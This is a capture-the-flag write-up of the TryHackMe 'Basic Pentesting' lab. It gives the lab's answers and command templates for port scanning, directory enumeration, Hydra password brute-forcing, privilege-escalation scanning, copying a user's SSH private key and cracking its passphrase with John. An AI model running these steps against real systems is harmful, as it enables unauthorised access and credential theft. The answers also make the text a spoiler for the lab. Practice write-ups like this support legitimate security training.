TryHackMe — Basic Pentesting

Find the services exposed by the machine

Use Nmap to scan open ports:

What is the name of the hidden directory on the web server(enter name without /)?

Use gobuster to enumerate the URL with wordlist

development

User brute-forcing to find the username & password

Enumerate the whole Linux OS by Enum4Linux

What is the username?

jan

What is the password?

armando

What service do you use to access the server(answer in abbreviation in all caps)?

ssh

What is the name of the other user you found(all lower case)?

kay

If you have found another user, what can you do with this information?

Enumerate the machine to find any vectors for privilege escalation

Use Linpeas to search for possible path to escalate the privilege:

transmit the Linpeas from local machine to the web-server by scp:

Get YCZHU’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

scp [source] [destination]

Run the Linpeas, display the result and save to the long.txt file:

From the Linpeas output we can find an important message:

Transport the id_rsa to the local machine:

What is the final password you obtain?

SSH to kay with the id_rsa hash but the hash file is protected. Use ssh2john to crack the password for the id_rsa hash

Use john to crack the id_rsa hash:

Before use the id_rsa for ssh, change the permission to 600:

Now we can ssh to kay@ip with id_rsa key:

Print the pass.bak:

heresareallystrongpasswordthatfollowsthepasswordpolicy$$

Wrap-UP:

1. use nmap to scan the open ports
   Syntax: nmap -sV [ip]
2. use gobuster to enumerate hidden folders in web server
   Syntax: gobuster -u [HTTP://ip] -w [wordlist]
3. use Enum4Linux to scan the whole system
   Syntax: Enum4linux -a [IP]
   Instead of grabbing user information from Enum4Linux output, we can scan smb to get information:
   Syntax: smbclient [IP]//[smb share] -U [username, if applicable]
4. Use hydra to brutal-forcing the password:
   Syntax: hydra -l [username] -P [wordlist] [IP] [service]
   OR
   Syntax: hydra -l [username] -P [wordlist] [service://IP]
5. login with the credentials get from previous steps.
6. Use privilege escalation tool like LinEnum or Linpeas
   transport the linpeas:
   scp [linenum.sh] [user@ip]
   use linenum.sh to scan:
   ./linenum.sh | tee long.txt
7. From task 6 we can find the id_rsa hash key for kay to login. Copy the file to the local machine and use john to crack the hash file.
   Syntax: ssh2john [file] > hash.txt
   Crack the hash file password:
   Syntax: john hash.txt — wordlist=[wordlist]
8. ssh to the new user with cracked rsa_id